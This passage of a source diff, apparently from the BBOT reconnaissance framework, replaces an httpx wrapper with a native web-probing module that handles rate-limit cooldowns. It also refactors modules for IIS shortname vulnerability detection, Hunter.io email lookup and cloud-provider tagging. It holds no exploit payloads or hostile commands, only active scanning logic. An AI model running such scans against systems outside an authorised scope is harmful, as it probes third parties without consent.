+            elif port == 80:
+                urls = [f"http://{netloc}/"]
+            else:
+                urls = [f"http://{netloc}/", f"https://{netloc}/"]
+            url_hash = hash((host, port, has_spider_max))
+        if url_hash is None:
+            url_hash = hash((urls[0], has_spider_max))
+        return urls, url_hash
+
+    def _incoming_dedup_hash(self, event):
+        urls, url_hash = self.make_url_metadata(event)
+        return url_hash
+
+    @property
+    def finished(self):
+        if self._deferred_events:
+            return False
+        return super().finished
+
+    def is_incoming_duplicate(self, event, add=False):
+        if getattr(event, "_429_retry", False):
+            event._429_retry = False
+            return False, "429 retry"
+        return super().is_incoming_duplicate(event, add=add)
+
+    def _host_is_cooled_down(self, host):
+        return time.monotonic() < self._host_cooldowns.get(host, 0)
+
+    def _set_host_cooldown(self, host, seconds):
+        resume_time = time.monotonic() + seconds
+        self._host_cooldowns[host] = max(self._host_cooldowns.get(host, 0), resume_time)
+
+    def _parse_retry_after(self, response):
+        for k, v in response.headers.items():
+            if k.lower() == "retry-after":
+                try:
+                    seconds = max(1, int(v))
+                    return min(seconds, self._429_max_interval)
+                except ValueError:
+                    pass
+                break
+        return self._429_default_interval
+
+    def _defer_event(self, event):
+        if event not in self._deferred_events:
+            self._deferred_events.append(event)
+            return True
+        return False
+
+    async def _flush_deferred(self):
+        if not self._deferred_events or self.incoming_event_queue is False:
+            return
+        still_deferred = []
+        flushed = 0
+        earliest_resume = None
+        now = time.monotonic()
+        for event in self._deferred_events:
+            host = str(event.host)
+            resume_time = self._host_cooldowns.get(host, 0)
+            if now >= resume_time:
+                event._429_retry = True
+                self.incoming_event_queue.put_nowait(event)
+                flushed += 1
+            else:
+                still_deferred.append(event)
+                if earliest_resume is None or resume_time < earliest_resume:
+                    earliest_resume = resume_time
+        self._deferred_events = still_deferred
+        # prune expired cooldowns
+        self._host_cooldowns = {h: t for h, t in self._host_cooldowns.items() if t > now}
+        if flushed:
+            async with self.event_received:
+                self.event_received.notify()
+        if still_deferred and earliest_resume is not None:
+            if not self._wakeup_target or earliest_resume < self._wakeup_target:
+                delay = max(0.1, earliest_resume - time.monotonic())
+                self._wakeup_target = earliest_resume
+                self.helpers.create_task(self._deferred_wakeup(delay))
+
+    async def _deferred_wakeup(self, delay):
+        await self.helpers.sleep(delay)
+        self._wakeup_target = 0
+        await self._flush_deferred()
+
+    def _build_headers(self):
+        """Build list of (name, value) header tuples from scan config."""
+        headers = [("User-Agent", self.scan.useragent)]
+        for hk, hv in self.scan.custom_http_headers.items():
+            headers.append((hk, hv))
+        if self.scan.custom_http_cookies:
+            cookie = SimpleCookie()
+            for ck, cv in self.scan.custom_http_cookies.items():
+                cookie[ck] = cv
+            cookie_value = cookie.output(header="", sep="; ").strip()
+            headers.append(("Cookie", cookie_value))
+        return headers
+
+    def _response_to_json(self, url_input, response):
+        """Convert a blasthttp Response to a dict for HTTP_RESPONSE events."""
+        return response_to_event_dict(response, url_input, method="GET")
+
+    async def _process_result(self, result, parent_event):
+        """Emit URL + HTTP_RESPONSE events for one batch result. Returns True if status was usable."""
+        if not result.success:
+            error_str = str(result.error)
+            retries = self.scan.http_retries
+            if "timeout" in error_str.lower():
+                self.verbose(f"HTTP timeout for {result.url} (after {retries + 1} attempt(s))")
+            else:
+                self.debug(f"HTTP error for {result.url}: {error_str}")
+            return False
+
+        response = result.response
+        status_code = response.status
+        if status_code == 0:
+            self.debug(f'No HTTP status code for "{result.url}"')
+            return False
+
+        url = response.url
+
+        # The "input" field represents the original scan target (host:port),
+        # not the full URL. Other modules and output consumers use this to
+        # correlate responses back to the target that produced them.
+        input_parsed = urlparse(result.url)
+        url_input = input_parsed.netloc or result.url
+        j = self._response_to_json(url_input, response)
+
+        # discard 404s from unverified URLs
+        path = j.get("path", "/")
+        if parent_event.type == "URL_UNVERIFIED" and status_code in (404,) and path != "/":
+            self.debug(f'Discarding 404 from "{url}"')
+            return True
+
+        # discard 4xx responses that contain WAF strings
+        if 400 <= status_code < 500:
+            body = j.get("body", "")
+            if body and await self.helpers.yara.match(self.waf_yara_rule, body):
+                self.debug(f'Discarding WAF {status_code} from "{url}"')
+                return True
+
+        tags = [f"status-{status_code}"]
+        url_context = "{module} visited {event.parent.data} and got status code {event.http_status}"
+        if parent_event.type == "OPEN_TCP_PORT":
+            url_context += " at {event.data}"
+
+        url_event = self.make_event(url, "URL", parent_event, tags=tags, context=url_context)
+        if url_event:
+            response_ip = j.get("host", "")
+            if response_ip:
+                url_event.resolved_hosts = (response_ip,)
+            title = j.get("title", "")
+            if title:
+                url_event.http_title = title
+            location = j.get("location", "")
+            if location:
+                url_event.redirect_location = location
+            response_hash = j.get("hash")
+            if response_hash:
+                url_event.data["hash"] = response_hash
+            if url_event != parent_event:
+                await self.emit_event(url_event)
+            content_type = j.get("header", {}).get("content_type", "unspecified").split(";")[0]
+            content_length = self.helpers.bytes_to_human(j.get("content_length", 0))
+            await self.emit_event(
+                j,
+                "HTTP_RESPONSE",
+                url_event,
+                tags=url_event.tags,
+                context=f"HTTP_RESPONSE was {content_length} with {content_type} content type",
+            )
+
+        if self.store_responses:
+            response_dir = self.scan.home / "http_responses"
+            self.helpers.mkdir(response_dir)
+            filename = f"{j['host']}.{urlparse(url).port or 443}{path.replace('/', '[slash]')}.txt"
+            response_file = response_dir / filename
+            response_file.write_text(j.get("raw_header", "") + j.get("body", ""))
+        return True
+
+    async def handle_batch(self, *events):
+        stdin = {}
+        # Track dual-scheme probes from OPEN_TCP_PORT: {(host, port): {"http": url, "https": url}}
+        port_probes = {}
+        # Reverse index: each paired probe URL → its (host, port) key
+        paired_probe_urls = {}
+
+        for event in events:
+            urls, url_hash = self.make_url_metadata(event)
+            host = str(event.host)
+            if self._host_is_cooled_down(host):
+                self._defer_event(event)
+                continue
+            for url in urls:
+                stdin[url] = event
+                if event.type == "OPEN_TCP_PORT":
+                    key = (event.host, event.port)
+                    if key not in port_probes:
+                        port_probes[key] = {}
+                    scheme = "https" if url.startswith("https://") else "http"
+                    port_probes[key][scheme] = url
+
+        # Only ports with BOTH schemes are subject to suppression — single-scheme
+        # OPEN_TCP_PORT probes (rare, but possible) stream through normally.
+        for key, schemes in port_probes.items():
+            if "http" in schemes and "https" in schemes:
+                paired_probe_urls[schemes["http"]] = key
+                paired_probe_urls[schemes["https"]] = key
+
+        if not stdin:
+            if self._deferred_events:
+                earliest = min(self._host_cooldowns.get(str(e.host), 0) for e in self._deferred_events)
+                if not self._wakeup_target or earliest < self._wakeup_target:
+                    delay = max(0.1, earliest - time.monotonic())
+                    self._wakeup_target = earliest
+                    self.helpers.create_task(self._deferred_wakeup(delay))
+            return
+
+        headers = self._build_headers()
+        proxy = self.scan.http_proxy or None
+        timeout = self.scan.http_timeout
+        retries = self.scan.http_retries
+
+        configs = []
+        for url in stdin:
+            config = blasthttp.BatchConfig(
+                url,
+                headers=headers,
+                timeout=int(timeout),
+                retries=int(retries),
+                verify_certs=False,
+                follow_redirects=False,
+                proxy=proxy,
+            )
+            configs.append(config)
+
+        # Suppress redundant https probes when http returned a real page (2xx) for
+        # the same (host, port). Only a 2xx counts as "http works" -- 3xx (often
+        # http-to-https redirects), 4xx (e.g. Cloudflare 400 on plain HTTP to TLS
+        # port), and 5xx do NOT suppress the https probe.
+        http_succeeded = {}  # key -> bool, set when http result arrives
+        deferred_https = {}  # key -> result, awaiting http verdict
+
+        async def resolve_https(key, result):
+            if http_succeeded.get(key) and result.success and result.response.status != 0:
+                self.debug(f"Suppressing https probe {result.url} (http already succeeded for {key})")
+                return
+            await self._process_result(result, stdin[result.url])
+
+        async for result in iter_batch_results(self.client.request_batch_stream(configs, concurrency=self.threads)):
+            if result.success and result.response is not None and result.response.status == 429:
+                url = result.url
+                host = urlparse(url).hostname
+                parent_event = stdin[url]
+                event_key = self._incoming_dedup_hash(parent_event)
+                retry_count = self._429_retry_counts.get(event_key, 0)
+                if retry_count >= self._max_429_retries:
+                    self.warning(f"429 from {url} after {self._max_429_retries} retries, giving up")
+                    self._429_retry_counts.pop(event_key, None)
+                    continue
+                retry_after = self._parse_retry_after(result.response)
+                self._set_host_cooldown(host, retry_after)
+                if self._defer_event(parent_event):
+                    self._429_retry_counts[event_key] = retry_count + 1
+                self.verbose(
+                    f"429 from {host} ({url}), cooling down {retry_after}s (attempt {retry_count + 1}/{self._max_429_retries})"
+                )
+                continue
+
+            # Non-429 response -- clear any retry tracking for this URL
+            _retry_parent = stdin.get(result.url)
+            if _retry_parent is not None:
+                self._429_retry_counts.pop(self._incoming_dedup_hash(_retry_parent), None)
+
+            key = paired_probe_urls.get(result.url)
+            if key is None:
+                # Non-paired URL -- emit immediately
+                if _retry_parent is None:
+                    self.warning(f"Unable to correlate parent event for: {result.url}")
+                    continue
+                await self._process_result(result, _retry_parent)
+                continue
+
+            # Paired OPEN_TCP_PORT probe
+            is_http = result.url == port_probes[key]["http"]
+            if is_http:
+                status = result.response.status if result.response is not None else 0
+                http_succeeded[key] = result.success and 200 <= status < 300
+                await self._process_result(result, stdin[result.url])
+                # If https for this key arrived first and was buffered, resolve it now
+                pending = deferred_https.pop(key, None)
+                if pending is not None:
+                    await resolve_https(key, pending)
+            else:  # is https
+                if key in http_succeeded:
+                    await resolve_https(key, result)
+                else:
+                    deferred_https[key] = result
+
+        # Stream ended -- any leftover https had no http result, so emit unconditionally
+        for key, result in deferred_https.items():
+            await self._process_result(result, stdin[result.url])
+
+        if self._deferred_events:
+            await self._flush_deferred()
diff --git a/bbot/modules/httpx.py b/bbot/modules/httpx.py
deleted file mode 100644
index 3d5ff7f9c1..0000000000
--- a/bbot/modules/httpx.py
+++ /dev/null
@@ -1,228 +0,0 @@
-import re
-import orjson
-import tempfile
-import subprocess
-from pathlib import Path
-from http.cookies import SimpleCookie
-
-from bbot.modules.base import BaseModule
-
-
-class httpx(BaseModule):
-    watched_events = ["OPEN_TCP_PORT", "URL_UNVERIFIED", "URL"]
-    produced_events = ["URL", "HTTP_RESPONSE"]
-    flags = ["active", "safe", "web-basic", "social-enum", "subdomain-enum", "cloud-enum"]
-    meta = {
-        "description": "Visit webpages. Many other modules rely on httpx",
-        "created_date": "2022-07-08",
-        "author": "@TheTechromancer",
-    }
-
-    options = {
-        "threads": 50,
-        "in_scope_only": True,
-        "version": "1.2.5",
-        "max_response_size": 5242880,
-        "store_responses": False,
-        "probe_all_ips": False,
-    }
-    options_desc = {
-        "threads": "Number of httpx threads to use",
-        "in_scope_only": "Only visit web reparents that are in scope.",
-        "version": "httpx version",
-        "max_response_size": "Max response size in bytes",
-        "store_responses": "Save raw HTTP responses to scan folder",
-        "probe_all_ips": "Probe all the ips associated with same host",
-    }
-    deps_ansible = [
-        {
-            "name": "Download httpx",
-            "unarchive": {
-                "src": "https://github.com/projectdiscovery/httpx/releases/download/v#{BBOT_MODULES_HTTPX_VERSION}/httpx_#{BBOT_MODULES_HTTPX_VERSION}_#{BBOT_OS}_#{BBOT_CPU_ARCH_GOLANG}.zip",
-                "include": "httpx",
-                "dest": "#{BBOT_TOOLS}",
-                "remote_src": True,
-            },
-        }
-    ]
-
-    scope_distance_modifier = 2
-    _shuffle_incoming_queue = False
-    _batch_size = 500
-    _priority = 2
-    # accept Javascript URLs
-    accept_url_special = True
-
-    async def setup(self):
-        self.threads = self.config.get("threads", 50)
-        self.max_response_size = self.config.get("max_response_size", 5242880)
-        self.store_responses = self.config.get("store_responses", False)
-        self.probe_all_ips = self.config.get("probe_all_ips", False)
-        self.httpx_tempdir_regex = re.compile(r"^httpx\d+$")
-        return True
-
-    async def filter_event(self, event):
-        if "_wildcard" in str(event.host).split("."):
-            return False, "event is wildcard"
-
-        if "unresolved" in event.tags:
-            return False, "event is unresolved"
-
-        if event.module == self:
-            return False, "event is from self"
-
-        if "spider-max" in event.tags:
-            return False, "event exceeds spidering limits"
-
-        # scope filtering
-        in_scope_only = self.config.get("in_scope_only", True)
-        if "httpx-safe" in event.tags:
-            return True
-        max_scope_distance = 0 if in_scope_only else (self.scan.scope_search_distance + 1)
-        if event.scope_distance > max_scope_distance:
-            return False, "event is not in scope"
-        return True
-
-    def make_url_metadata(self, event):
-        has_spider_max = "spider-max" in event.tags
-        url_hash = None
-        if event.type.startswith("URL"):
-            # we NEED the port, otherwise httpx will try HTTPS even for HTTP URLs
-            url = event.with_port().geturl()
-            if event.parsed_url.path == "/":
-                url_hash = hash((event.host, event.port, has_spider_max))
-        else:
-            url = str(event.data)
-            url_hash = hash((event.host, event.port, has_spider_max))
-        if url_hash is None:
-            url_hash = hash((url, has_spider_max))
-        return url, url_hash
-
-    def _incoming_dedup_hash(self, event):
-        url, url_hash = self.make_url_metadata(event)
-        return url_hash
-
-    async def handle_batch(self, *events):
-        stdin = {}
-
-        for event in events:
-            url, url_hash = self.make_url_metadata(event)
-            stdin[url] = event
-
-        if not stdin:
-            return
-
-        command = [
-            "httpx",
-            "-silent",
-            "-json",
-            "-include-response",
-            "-threads",
-            self.threads,
-            "-timeout",
-            self.scan.httpx_timeout,
-            "-retries",
-            self.scan.httpx_retries,
-            "-header",
-            f"User-Agent: {self.scan.useragent}",
-            "-response-size-to-read",
-            f"{self.max_response_size}",
-        ]
-
-        if self.store_responses:
-            response_dir = self.scan.home / "httpx"
-            self.helpers.mkdir(response_dir)
-            command += ["-srd", str(response_dir)]
-
-        dns_resolvers = ",".join(self.helpers.system_resolvers)
-        if dns_resolvers:
-            command += ["-r", dns_resolvers]
-
-        if self.probe_all_ips:
-            command += ["-probe-all-ips"]
-
-        # Add custom HTTP headers
-        for hk, hv in self.scan.custom_http_headers.items():
-            command += ["-header", f"{hk}: {hv}"]
-
-        # Add custom HTTP cookies as a single header
-        if self.scan.custom_http_cookies:
-            cookie = SimpleCookie()
-            for ck, cv in self.scan.custom_http_cookies.items():
-                cookie[ck] = cv
-
-            # Build the cookie header
-            cookie_header = f"Cookie: {cookie.output(header='', sep='; ').strip()}"
-            command += ["-header", cookie_header]
-
-        proxy = self.scan.http_proxy
-        if proxy:
-            command += ["-http-proxy", proxy]
-        async for line in self.run_process_live(command, text=False, input=list(stdin), stderr=subprocess.DEVNULL):
-            try:
-                j = await self.helpers.run_in_executor(orjson.loads, line)
-            except orjson.JSONDecodeError:
-                self.warning(f"httpx failed to decode line: {line}")
-                continue
-
-            url = j.get("url", "")
-            status_code = int(j.get("status_code", 0))
-            if status_code == 0:
-                self.debug(f'No HTTP status code for "{url}"')
-                continue
-
-            parent_event = stdin.get(j.get("input", ""), None)
-
-            if parent_event is None:
-                self.warning(f"Unable to correlate parent event from: {line}")
-                continue
-
-            # discard 404s from unverified URLs
-            path = j.get("path", "/")
-            if parent_event.type == "URL_UNVERIFIED" and status_code in (404,) and path != "/":
-                self.debug(f'Discarding 404 from "{url}"')
-                continue
-
-            # main URL
-            tags = [f"status-{status_code}"]
-            httpx_ip = j.get("host", "")
-            if httpx_ip:
-                tags.append(f"ip-{httpx_ip}")
-            # grab title
-            title = self.helpers.tagify(j.get("title", ""), maxlen=30)
-            if title:
-                tags.append(f"http-title-{title}")
-
-            url_context = "{module} visited {event.parent.data} and got status code {event.http_status}"
-            if parent_event.type == "OPEN_TCP_PORT":
-                url_context += " at {event.data}"
-
-            url_event = self.make_event(
-                url,
-                "URL",
-                parent_event,
-                tags=tags,
-                context=url_context,
-            )
-            if url_event:
-                if url_event != parent_event:
-                    await self.emit_event(url_event)
-                # HTTP response
-                content_type = j.get("header", {}).get("content_type", "unspecified").split(";")[0]
-                content_length = j.get("content_length", 0)
-                content_length = self.helpers.bytes_to_human(content_length)
-                await self.emit_event(
-                    j,
-                    "HTTP_RESPONSE",
-                    url_event,
-                    tags=url_event.tags,
-                    context=f"HTTP_RESPONSE was {content_length} with {content_type} content type",
-                )
-
-        for tempdir in Path(tempfile.gettempdir()).iterdir():
-            if tempdir.is_dir() and self.httpx_tempdir_regex.match(tempdir.name):
-                self.helpers.rm_rf(tempdir)
-
-    async def cleanup(self):
-        resume_file = self.helpers.current_dir / "resume.cfg"
-        resume_file.unlink(missing_ok=True)
diff --git a/bbot/modules/hunt.py b/bbot/modules/hunt.py
index 57e064d4bf..dd51cb714b 100644
--- a/bbot/modules/hunt.py
+++ b/bbot/modules/hunt.py
@@ -282,7 +282,7 @@
 class hunt(BaseModule):
     watched_events = ["WEB_PARAMETER"]
     produced_events = ["FINDING"]
-    flags = ["active", "safe", "web-thorough"]
+    flags = ["safe", "active", "web-heavy"]
     meta = {
         "description": "Watch for commonly-exploitable HTTP parameters",
         "author": "@liquidsec",
@@ -312,8 +312,13 @@ async def handle_event(self, event):
                     f" Original Value: [{self.helpers.truncate_string(str(event.data['original_value']), 200)}]"
                 )
 
-            data = {"host": str(event.host), "description": description}
-            url = event.data.get("url", "")
-            if url:
-                data["url"] = url
+            data = {
+                "host": str(event.host),
+                "description": description,
+                "name": "Potentially Interesting Parameter",
+                "severity": "INFO",
+                "confidence": "LOW",
+            }
+            if event.url:
+                data["url"] = event.url
             await self.emit_event(data, "FINDING", event)
diff --git a/bbot/modules/hunterio.py b/bbot/modules/hunterio.py
index 2b708faab8..6e51a612e4 100644
--- a/bbot/modules/hunterio.py
+++ b/bbot/modules/hunterio.py
@@ -1,18 +1,15 @@
 from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey
+from bbot.core.config.models import BaseModuleConfig, Field
 
 
 class hunterio(subdomain_enum_apikey):
     watched_events = ["DNS_NAME"]
     produced_events = ["EMAIL_ADDRESS", "DNS_NAME", "URL_UNVERIFIED"]
-    flags = ["passive", "email-enum", "subdomain-enum", "safe"]
-    meta = {
-        "description": "Query hunter.io for emails",
-        "created_date": "2022-04-25",
-        "author": "@TheTechromancer",
-        "auth_required": True,
-    }
-    options = {"api_key": ""}
-    options_desc = {"api_key": "Hunter.IO API key"}
+    flags = ["safe", "passive", "email-enum", "subdomain-enum"]
+    meta = {"description": "Query hunter.io for emails", "created_date": "2022-04-25", "author": "@TheTechromancer"}
+
+    class Config(BaseModuleConfig):
+        api_key: str | list[str] = Field("", description="Hunter.IO API key", sensitive=True, mandatory=True)
 
     base_url = "https://api.hunter.io/v2"
     ping_url = f"{base_url}/account?api_key={{api_key}}"
@@ -28,7 +25,7 @@ async def handle_event(self, event):
                 if email_event:
                     await self.emit_event(
                         email_event,
-                        context=f'{{module}} queried Hunter.IO API for "{query}" and found {{event.type}}: {{event.data}}',
+                        context=f'{{module}} queried Hunter.IO API for "{query}" and found {{event.type}}: {{event.pretty_string}}',
                     )
                     for source in sources:
                         domain = source.get("domain", "")
@@ -37,7 +34,7 @@ async def handle_event(self, event):
                                 domain,
                                 "DNS_NAME",
                                 email_event,
-                                context=f"{{module}} originally found {email} at {{event.type}}: {{event.data}}",
+                                context=f"{{module}} originally found {email} at {{event.type}}: {{event.pretty_string}}",
                             )
                         url = source.get("uri", "")
                         if url:
@@ -45,7 +42,7 @@ async def handle_event(self, event):
                                 url,
                                 "URL_UNVERIFIED",
                                 email_event,
-                                context=f"{{module}} originally found {email} at {{event.type}}: {{event.data}}",
+                                context=f"{{module}} originally found {email} at {{event.type}}: {{event.pretty_string}}",
                             )
 
     async def query(self, query):
diff --git a/bbot/modules/iis_shortnames.py b/bbot/modules/iis_shortnames.py
index 01de9151f7..92b93d848a 100644
--- a/bbot/modules/iis_shortnames.py
+++ b/bbot/modules/iis_shortnames.py
@@ -1,6 +1,7 @@
 import re
 
 from bbot.modules.base import BaseModule
+from bbot.core.config.models import BaseModuleConfig, Field
 
 valid_chars = "ETAONRISHDLFCMUGYPWBVKJXQZ0123456789_-$~()&!#%'@^`{}]]"
 
@@ -16,21 +17,28 @@ class IISShortnamesError(Exception):
 class iis_shortnames(BaseModule):
     watched_events = ["URL"]
     produced_events = ["URL_HINT"]
-    flags = ["active", "safe", "web-basic", "iis-shortnames"]
+    flags = ["loud", "active", "web", "iis-shortnames"]
     meta = {
         "description": "Check for IIS shortname vulnerability",
         "created_date": "2022-04-15",
         "author": "@liquidsec",
     }
-    options = {"detect_only": True, "max_node_count": 50, "speculate_magic_urls": True}
-    options_desc = {
-        "detect_only": "Only detect the vulnerability and do not run the shortname scanner",
-        "max_node_count": "Limit how many nodes to attempt to resolve on any given recursion branch",
-        "speculate_magic_urls": "Attempt to discover iis 'magic' special folders",
-    }
+
+    class Config(BaseModuleConfig):
+        detect_only: bool = Field(
+            True, description="Only detect the vulnerability and do not run the shortname scanner"
+        )
+        max_node_count: int = Field(
+            50, description="Limit how many nodes to attempt to resolve on any given recursion branch"
+        )
+        speculate_magic_urls: bool = Field(True, description="Attempt to discover iis 'magic' special folders")
+
     in_scope_only = True
 
-    _module_threads = 8
+    _module_threads = 4
+
+    # Gateway error codes from reverse proxies / CDNs — not IIS shortname signals
+    gateway_error_codes = {502, 503, 504}
 
     async def detect(self, target):
         technique = None
@@ -47,6 +55,13 @@ async def detect(self, target):
                 control_result = await self.helpers.request(control_url, **kwargs)
                 test_result = await self.helpers.request(test_url, **kwargs)
                 if control_result and test_result:
+                    # Skip gateway errors (502/503/504) — these come from CDNs/reverse proxies, not IIS
+                    if {control_result.status_code, test_result.status_code} & self.gateway_error_codes:
+                        self.debug(
+                            f"Skipping {method} detection on {target}: gateway error code "
+                            f"({control_result.status_code}/{test_result.status_code})"
+                        )
+                        break
                     if control_result.status_code != test_result.status_code:
                         confirmations += 1
                         self.debug(f"New detection on {target}, number of confirmations: [{str(confirmations)}]")
@@ -132,7 +147,7 @@ async def solve_valid_chars(self, method, target, affirmative_status_code):
                 url = f"{target}{payload}{suffix}"
                 urls_and_kwargs.append((url, kwargs, (c, file_part)))
 
-        async for url, kwargs, (c, file_part), response in self.helpers.request_custom_batch(urls_and_kwargs):
+        async for url, response, (c, file_part) in self.helpers.request_batch_stream(urls_and_kwargs):
             if response is not None:
                 if response.status_code == affirmative_status_code:
                     if file_part == "stem":
@@ -173,7 +188,7 @@ async def solve_shortname_recursive(
             kwargs = {"method": method}
             urls_and_kwargs.append((url, kwargs, c))
 
-        async for url, kwargs, c, response in self.helpers.request_custom_batch(urls_and_kwargs):
+        async for url, response, c in self.helpers.request_batch_stream(urls_and_kwargs):
             if response is not None:
                 if response.status_code == affirmative_status_code:
                     found_results = True
@@ -219,7 +234,7 @@ async def handle_event(self, event):
         class safety_counter_obj:
             counter = 0
 
-        normalized_url = self.normalize_url(event.data)
+        normalized_url = self.normalize_url(event.url)
         self.scanned_tracker.add(normalized_url)
 
         detections = await self.detect(normalized_url)
@@ -232,8 +247,15 @@ class safety_counter_obj:
 
             description = f"IIS Shortname Vulnerability Detected. Potentially Vulnerable Method/Techniques: [{','.join(technique_strings)}]"
             await self.emit_event(
-                {"severity": "LOW", "host": str(event.host), "url": normalized_url, "description": description},
-                "VULNERABILITY",
+                {
+                    "name": "IIS Shortnames",
+                    "severity": "LOW",
+                    "confidence": "HIGH",
+                    "host": str(event.host),
+                    "url": normalized_url,
+                    "description": description,
+                },
+                "FINDING",
                 event,
                 context="{module} detected low {event.type}: IIS shortname enumeration",
             )
@@ -335,9 +357,12 @@ class safety_counter_obj:
                             if url_hint.lower().endswith(".zip"):
                                 await self.emit_event(
                                     {
+                                        "name": "Possible backup file (zip) in web root",
                                         "host": str(event.host),
-                                        "url": event.data,
+                                        "url": event.url,
                                         "description": f"Possible backup file (zip) in web root: {normalized_url}{url_hint}",
+                                        "confidence": "MEDIUM",
+                                        "severity": "MEDIUM",
                                     },
                                     "FINDING",
                                     event,
@@ -359,7 +384,7 @@ class safety_counter_obj:
 
     async def filter_event(self, event):
         if "dir" in event.tags:
-            if self.normalize_url(event.data) not in self.scanned_tracker:
+            if self.normalize_url(event.url) not in self.scanned_tracker:
                 return True
             return False
         return False
diff --git a/bbot/modules/internal/aggregate.py b/bbot/modules/internal/aggregate.py
index 3bd5be12da..8543a1c442 100644
--- a/bbot/modules/internal/aggregate.py
+++ b/bbot/modules/internal/aggregate.py
@@ -3,7 +3,7 @@
 
 class aggregate(BaseReportModule):
     watched_events = []
-    flags = ["passive", "safe"]
+    flags = ["safe", "passive"]
     meta = {
         "description": "Summarize statistics at the end of a scan",
         "created_date": "2022-07-25",
diff --git a/bbot/modules/internal/cloudcheck.py b/bbot/modules/internal/cloudcheck.py
index e2fca8536f..87886a3044 100644
--- a/bbot/modules/internal/cloudcheck.py
+++ b/bbot/modules/internal/cloudcheck.py
@@ -1,7 +1,9 @@
-import asyncio
 import regex as re
+import yara
 from contextlib import suppress
 
+from cachetools import LRUCache
+
 from bbot.modules.base import BaseInterceptModule
 
 
@@ -16,13 +18,103 @@ class CloudCheck(BaseInterceptModule):
     scope_distance_modifier = 2
     _priority = 3
 
+    # LRU cache for cloudcheck.lookup() results. Many subdomains in a single
+    # scan resolve to the same backing IPs (e.g. all *.cloudfront.net entries
+    # share the same handful of CF IPs), so the same host gets looked up many
+    # times. Caching the result is ~600x faster than re-issuing the Future-
+    # based lookup. Sized to target ~50MB at average ~500 B / entry — most
+    # entries are an empty list (no cloud match) and small.
+    _lookup_cache_size = 100_000
+
     async def setup(self):
-        self._cloud_hostname_regexes = None
-        self._cloud_hostname_regexes_lock = asyncio.Lock()
-        # perform a test lookup during setup to force signature update
-        await self.helpers.cloudcheck.lookup("8.8.8.8")
+        # perform a test lookup during setup to force signature update.
+        # if cloudcheck can't fetch its signatures (e.g. network/TLS problem,
+        # offline), don't crash the scan — degrade gracefully. cloud tagging
+        # by IP/domain will be unavailable, but static storage-bucket regexes
+        # (loaded from the cloudcheck package below) and per-event lookups
+        # (already wrapped in try/except) keep working.
+        from cloudcheck import CloudCheckError
+
+        try:
+            await self.helpers.cloudcheck.lookup("8.8.8.8")
+        except CloudCheckError as e:
+            self.warning(
+                f"Failed to load cloud provider signatures ({e}); continuing with cloud detection degraded. "
+                f"If this is caused by a TLS-intercepting proxy on a network you trust, you can set "
+                f"ssl_verify_infrastructure: false to allow the fetch — note this turns off certificate "
+                f"verification for non-target traffic, so only do so if you understand the risk."
+            )
+        # build the storage-bucket regexes + the YARA prefilter eagerly so we
+        # don't pay an asyncio.Lock acquire on every handle_event
+        self._storage_bucket_regexes, self._bucket_yara = self._build_bucket_matchers()
+        self._lookup_cache = LRUCache(maxsize=self._lookup_cache_size)
         return True
 
+    async def _cached_lookup(self, host):
+        """Cache cloudcheck.lookup() results by host. The underlying lookup
+        is deterministic (host -> set of providers) for the duration of a
+        scan, so a simple per-scan LRU is correct."""
+        try:
+            return self._lookup_cache[host]
+        except KeyError:
+            pass
+        result = await self.helpers.cloudcheck.lookup(host)
+        self._lookup_cache[host] = result
+        return result
+
+    def _build_bucket_matchers(self):
+        """
+        Build two structures from the cloudcheck providers' bucket regexes:
+
+        - `storage_bucket_regexes`: dict of name -> compiled Python regex
+          (with named groups intact). Used to extract `name` / `region` from
+          a host once we know it matched.
+        - `bucket_yara`: a single compiled YARA rule that ORs every bucket
+          pattern together (named groups stripped, since YARA's regex
+          flavor doesn't support `?P<...>`). Used as a fast prefilter — if
+          none of its strings hit, we skip the Python-regex loop entirely.
+        """
+        from cloudcheck import providers
+
+        storage_bucket_regexes = {}
+        yara_strings = []
+        for attr in dir(providers):
+            if attr.startswith("_"):
+                continue
+            provider = getattr(providers, attr)
+            provider_regexes = getattr(provider, "regexes", None)
+            if not provider_regexes:
+                continue
+            for i, pattern in enumerate(provider_regexes.get("STORAGE_BUCKET_HOSTNAME", [])):
+                key = f"{attr}-STORAGE_BUCKET_HOSTNAME-{i}"
+                try:
+                    storage_bucket_regexes[key] = re.compile(pattern)
+                except Exception as e:
+                    self.error(f"Error compiling regex for {key}: {e}")
+                    continue
+                # YARA accepts the pattern as-is once we strip the named-group
+                # syntax (`?P<name>` / `?P<region>` aren't part of YARA's regex
+                # flavor; the unnamed-group form matches the same strings).
+                yara_pattern = pattern.replace("(?P<name>", "(").replace("(?P<region>", "(")
+                yara_strings.append(f"$bucket_{len(yara_strings)} = /{yara_pattern}/")
+
+        if yara_strings:
+            yara_source = (
+                "rule storage_buckets {\n"
+                "    strings:\n        " + "\n        ".join(yara_strings) + "\n"
+                "    condition: any of them\n"
+                "}"
+            )
+            try:
+                bucket_yara = yara.compile(source=yara_source)
+            except yara.SyntaxError as e:
+                self.error(f"Failed to compile bucket YARA rule: {e}; falling back to regex-only matching")
+                bucket_yara = None
+        else:
+            bucket_yara = None
+
+        return storage_bucket_regexes, bucket_yara
+
     async def filter_event(self, event):
         if (not event.host) or (event.type in ("IP_RANGE",)):
             return False, "event does not have host attribute"
@@ -35,77 +127,141 @@ async def handle_event(self, event, **kwargs):
             hosts_to_check.remove(event.host_original)
         hosts_to_check = [str(event.host_original)] + list(hosts_to_check)
 
-        for i, host in enumerate(hosts_to_check):
-            host_is_ip = self.helpers.is_ip(host)
-            try:
-                cloudcheck_results = await self.helpers.cloudcheck.lookup(host)
-            except Exception as e:
-                self.warning(f"Error running cloudcheck against {event} (host: {host}): {e}")
-                continue
-            for provider in cloudcheck_results:
-                provider_name = provider["name"].lower()
-                tags = provider.get("tags", [])
-                for tag in tags:
-                    event.add_tag(tag)
-                    event.add_tag(f"{tag}-{provider_name}")
+        # Inheritance fast path: if our parent has already been through cloudcheck
+        # and its host set covers ours, copy its cloud tags and host_metadata
+        # entries instead of re-running the lookups. This is common in event
+        # chains where multiple types (DNS_NAME -> IP_ADDRESS -> OPEN_TCP_PORT
+        # -> URL) carry hosts that are a subset of the parent's resolved set.
+        inherited = self._inherit_cloud_tags(event, hosts_to_check)
+        if not inherited:
+            for i, host in enumerate(hosts_to_check):
+                host_is_ip = self.helpers.is_ip(host)
+                try:
+                    cloudcheck_results = await self._cached_lookup(host)
+                except Exception as e:
+                    self.warning(f"Error running cloudcheck against {event} (host: {host}): {e}")
+                    continue
+                for provider in cloudcheck_results:
+                    provider_name = provider["name"].lower()
+                    provider_types = provider.get("tags", [])
